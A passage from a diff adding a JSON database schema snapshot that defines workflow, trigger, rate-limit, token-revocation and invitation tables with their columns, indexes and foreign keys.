+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_triggers_driveId_drives_id_fk": {
+ "name": "calendar_triggers_driveId_drives_id_fk",
+ "tableFrom": "calendar_triggers",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "calendar_triggers_scheduledById_users_id_fk": {
+ "name": "calendar_triggers_scheduledById_users_id_fk",
+ "tableFrom": "calendar_triggers",
+ "tableTo": "users",
+ "columnsFrom": [
+ "scheduledById"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "calendar_triggers_event_occurrence_key": {
+ "name": "calendar_triggers_event_occurrence_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "calendarEventId",
+ "occurrenceDate"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.workflows": {
+ "name": "workflows",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "driveId": {
+ "name": "driveId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdBy": {
+ "name": "createdBy",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "agentPageId": {
+ "name": "agentPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "prompt": {
+ "name": "prompt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "steps": {
+ "name": "steps",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "contextPageIds": {
+ "name": "contextPageIds",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'[]'::jsonb"
+ },
+ "cronExpression": {
+ "name": "cronExpression",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "timezone": {
+ "name": "timezone",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'UTC'"
+ },
+ "triggerType": {
+ "name": "triggerType",
+ "type": "WorkflowTriggerType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'cron'"
+ },
+ "eventTriggers": {
+ "name": "eventTriggers",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "watchedFolderIds": {
+ "name": "watchedFolderIds",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "eventDebounceSecs": {
+ "name": "eventDebounceSecs",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 30
+ },
+ "instructionPageId": {
+ "name": "instructionPageId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isEnabled": {
+ "name": "isEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "ownerLeftAt": {
+ "name": "ownerLeftAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "nextRunAt": {
+ "name": "nextRunAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "workflows_drive_id_idx": {
+ "name": "workflows_drive_id_idx",
+ "columns": [
+ {
+ "expression": "driveId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflows_created_by_idx": {
+ "name": "workflows_created_by_idx",
+ "columns": [
+ {
+ "expression": "createdBy",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflows_agent_page_id_idx": {
+ "name": "workflows_agent_page_id_idx",
+ "columns": [
+ {
+ "expression": "agentPageId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflows_enabled_next_run_idx": {
+ "name": "workflows_enabled_next_run_idx",
+ "columns": [
+ {
+ "expression": "isEnabled",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "nextRunAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflows_enabled_trigger_type_idx": {
+ "name": "workflows_enabled_trigger_type_idx",
+ "columns": [
+ {
+ "expression": "isEnabled",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "triggerType",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "workflows_driveId_drives_id_fk": {
+ "name": "workflows_driveId_drives_id_fk",
+ "tableFrom": "workflows",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "driveId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "workflows_createdBy_users_id_fk": {
+ "name": "workflows_createdBy_users_id_fk",
+ "tableFrom": "workflows",
+ "tableTo": "users",
+ "columnsFrom": [
+ "createdBy"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "workflows_agentPageId_pages_id_fk": {
+ "name": "workflows_agentPageId_pages_id_fk",
+ "tableFrom": "workflows",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "agentPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "workflows_instructionPageId_pages_id_fk": {
+ "name": "workflows_instructionPageId_pages_id_fk",
+ "tableFrom": "workflows",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "instructionPageId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.workflow_runs": {
+ "name": "workflow_runs",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "workflowId": {
+ "name": "workflowId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sourceTable": {
+ "name": "sourceTable",
+ "type": "WorkflowRunSourceTable",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "sourceId": {
+ "name": "sourceId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "triggerAt": {
+ "name": "triggerAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "startedAt": {
+ "name": "startedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "endedAt": {
+ "name": "endedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "WorkflowRunStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'running'"
+ },
+ "error": {
+ "name": "error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "durationMs": {
+ "name": "durationMs",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "conversationId": {
+ "name": "conversationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "workflow_runs_workflow_started_at_idx": {
+ "name": "workflow_runs_workflow_started_at_idx",
+ "columns": [
+ {
+ "expression": "workflowId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "startedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflow_runs_source_lookup_idx": {
+ "name": "workflow_runs_source_lookup_idx",
+ "columns": [
+ {
+ "expression": "sourceTable",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "sourceId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflow_runs_stuck_run_idx": {
+ "name": "workflow_runs_stuck_run_idx",
+ "columns": [
+ {
+ "expression": "status",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "startedAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "workflow_runs_running_claim_idx": {
+ "name": "workflow_runs_running_claim_idx",
+ "columns": [
+ {
+ "expression": "workflowId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"workflow_runs\".\"status\" = 'running'",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "workflow_runs_workflowId_workflows_id_fk": {
+ "name": "workflow_runs_workflowId_workflows_id_fk",
+ "tableFrom": "workflow_runs",
+ "tableTo": "workflows",
+ "columnsFrom": [
+ "workflowId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.workflow_run_steps": {
+ "name": "workflow_run_steps",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "runId": {
+ "name": "runId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "position": {
+ "name": "position",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "kind": {
+ "name": "kind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "toolName": {
+ "name": "toolName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "status": {
+ "name": "status",
+ "type": "WorkflowRunStepStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'running'"
+ },
+ "error": {
+ "name": "error",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "durationMs": {
+ "name": "durationMs",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "startedAt": {
+ "name": "startedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "endedAt": {
+ "name": "endedAt",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "workflow_run_steps_run_position_idx": {
+ "name": "workflow_run_steps_run_position_idx",
+ "columns": [
+ {
+ "expression": "runId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "position",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "workflow_run_steps_runId_workflow_runs_id_fk": {
+ "name": "workflow_run_steps_runId_workflow_runs_id_fk",
+ "tableFrom": "workflow_run_steps",
+ "tableTo": "workflow_runs",
+ "columnsFrom": [
+ "runId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.task_triggers": {
+ "name": "task_triggers",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "workflowId": {
+ "name": "workflowId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "taskItemId": {
+ "name": "taskItemId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "triggerType": {
+ "name": "triggerType",
+ "type": "TaskTriggerType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "nextRunAt": {
+ "name": "nextRunAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastFiredAt": {
+ "name": "lastFiredAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "lastFireError": {
+ "name": "lastFireError",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isEnabled": {
+ "name": "isEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updatedAt": {
+ "name": "updatedAt",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "task_triggers_workflow_id_idx": {
+ "name": "task_triggers_workflow_id_idx",
+ "columns": [
+ {
+ "expression": "workflowId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_triggers_task_item_id_idx": {
+ "name": "task_triggers_task_item_id_idx",
+ "columns": [
+ {
+ "expression": "taskItemId",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "task_triggers_enabled_next_run_idx": {
+ "name": "task_triggers_enabled_next_run_idx",
+ "columns": [
+ {
+ "expression": "isEnabled",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "nextRunAt",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "task_triggers_workflowId_workflows_id_fk": {
+ "name": "task_triggers_workflowId_workflows_id_fk",
+ "tableFrom": "task_triggers",
+ "tableTo": "workflows",
+ "columnsFrom": [
+ "workflowId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "task_triggers_taskItemId_task_items_id_fk": {
+ "name": "task_triggers_taskItemId_task_items_id_fk",
+ "tableFrom": "task_triggers",
+ "tableTo": "task_items",
+ "columnsFrom": [
+ "taskItemId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "task_triggers_task_item_trigger_type_key": {
+ "name": "task_triggers_task_item_trigger_type_key",
+ "nullsNotDistinct": false,
+ "columns": [
+ "taskItemId",
+ "triggerType"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.rate_limit_buckets": {
+ "name": "rate_limit_buckets",
+ "schema": "",
+ "columns": {
+ "key": {
+ "name": "key",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "window_start": {
+ "name": "window_start",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "count": {
+ "name": "count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "rate_limit_buckets_expires_at_idx": {
+ "name": "rate_limit_buckets_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {
+ "rate_limit_buckets_key_window_start_pk": {
+ "name": "rate_limit_buckets_key_window_start_pk",
+ "columns": [
+ "key",
+ "window_start"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.revoked_service_tokens": {
+ "name": "revoked_service_tokens",
+ "schema": "",
+ "columns": {
+ "jti": {
+ "name": "jti",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "revoked_at": {
+ "name": "revoked_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {
+ "revoked_service_tokens_expires_at_idx": {
+ "name": "revoked_service_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.auth_handoff_tokens": {
+ "name": "auth_handoff_tokens",
+ "schema": "",
+ "columns": {
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "kind": {
+ "name": "kind",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "payload": {
+ "name": "payload",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp with time zone",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "auth_handoff_tokens_expires_at_idx": {
+ "name": "auth_handoff_tokens_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "auth_handoff_tokens_kind_expires_at_idx": {
+ "name": "auth_handoff_tokens_kind_expires_at_idx",
+ "columns": [
+ {
+ "expression": "kind",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {},
+ "compositePrimaryKeys": {
+ "auth_handoff_tokens_token_hash_kind_pk": {
+ "name": "auth_handoff_tokens_token_hash_kind_pk",
+ "columns": [
+ "token_hash",
+ "kind"
+ ]
+ }
+ },
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pending_invites": {
+ "name": "pending_invites",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "drive_id": {
+ "name": "drive_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "MemberRole",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "custom_role_id": {
+ "name": "custom_role_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "invited_by": {
+ "name": "invited_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "consumed_at": {
+ "name": "consumed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "pending_invites_drive_id_idx": {
+ "name": "pending_invites_drive_id_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_invites_email_idx": {
+ "name": "pending_invites_email_idx",
+ "columns": [
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_invites_expires_at_idx": {
+ "name": "pending_invites_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_invites_custom_role_id_idx": {
+ "name": "pending_invites_custom_role_id_idx",
+ "columns": [
+ {
+ "expression": "custom_role_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_invites_active_drive_email_idx": {
+ "name": "pending_invites_active_drive_email_idx",
+ "columns": [
+ {
+ "expression": "drive_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"pending_invites\".\"consumed_at\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "pending_invites_drive_id_drives_id_fk": {
+ "name": "pending_invites_drive_id_drives_id_fk",
+ "tableFrom": "pending_invites",
+ "tableTo": "drives",
+ "columnsFrom": [
+ "drive_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "pending_invites_custom_role_id_drive_roles_id_fk": {
+ "name": "pending_invites_custom_role_id_drive_roles_id_fk",
+ "tableFrom": "pending_invites",
+ "tableTo": "drive_roles",
+ "columnsFrom": [
+ "custom_role_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "pending_invites_invited_by_users_id_fk": {
+ "name": "pending_invites_invited_by_users_id_fk",
+ "tableFrom": "pending_invites",
+ "tableTo": "users",
+ "columnsFrom": [
+ "invited_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "pending_invites_token_hash_unique": {
+ "name": "pending_invites_token_hash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token_hash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pending_page_invites": {
+ "name": "pending_page_invites",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "invited_by": {
+ "name": "invited_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "page_id": {
+ "name": "page_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permissions": {
+ "name": "permissions",
+ "type": "jsonb",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "consumed_at": {
+ "name": "consumed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "pending_page_invites_page_id_idx": {
+ "name": "pending_page_invites_page_id_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_page_invites_email_idx": {
+ "name": "pending_page_invites_email_idx",
+ "columns": [
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_page_invites_expires_at_idx": {
+ "name": "pending_page_invites_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_page_invites_active_page_email_idx": {
+ "name": "pending_page_invites_active_page_email_idx",
+ "columns": [
+ {
+ "expression": "page_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ },
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": true,
+ "where": "\"pending_page_invites\".\"consumed_at\" IS NULL",
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "pending_page_invites_invited_by_users_id_fk": {
+ "name": "pending_page_invites_invited_by_users_id_fk",
+ "tableFrom": "pending_page_invites",
+ "tableTo": "users",
+ "columnsFrom": [
+ "invited_by"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "pending_page_invites_page_id_pages_id_fk": {
+ "name": "pending_page_invites_page_id_pages_id_fk",
+ "tableFrom": "pending_page_invites",
+ "tableTo": "pages",
+ "columnsFrom": [
+ "page_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "pending_page_invites_token_hash_unique": {
+ "name": "pending_page_invites_token_hash_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "token_hash"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.pending_connection_invites": {
+ "name": "pending_connection_invites",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "token_hash": {
+ "name": "token_hash",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "email": {
+ "name": "email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "invited_by": {
+ "name": "invited_by",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "request_message": {
+ "name": "request_message",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "consumed_at": {
+ "name": "consumed_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {
+ "pending_connection_invites_invited_by_idx": {
+ "name": "pending_connection_invites_invited_by_idx",
+ "columns": [
+ {
+ "expression": "invited_by",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_connection_invites_email_idx": {
+ "name": "pending_connection_invites_email_idx",
+ "columns": [
+ {
+ "expression": "email",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "pending_connection_invites_expires_at_idx": {
+ "name": "pending_connection_invites_expires_at_idx",
+ "columns": [
+ {
+ "expression": "expires_at",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
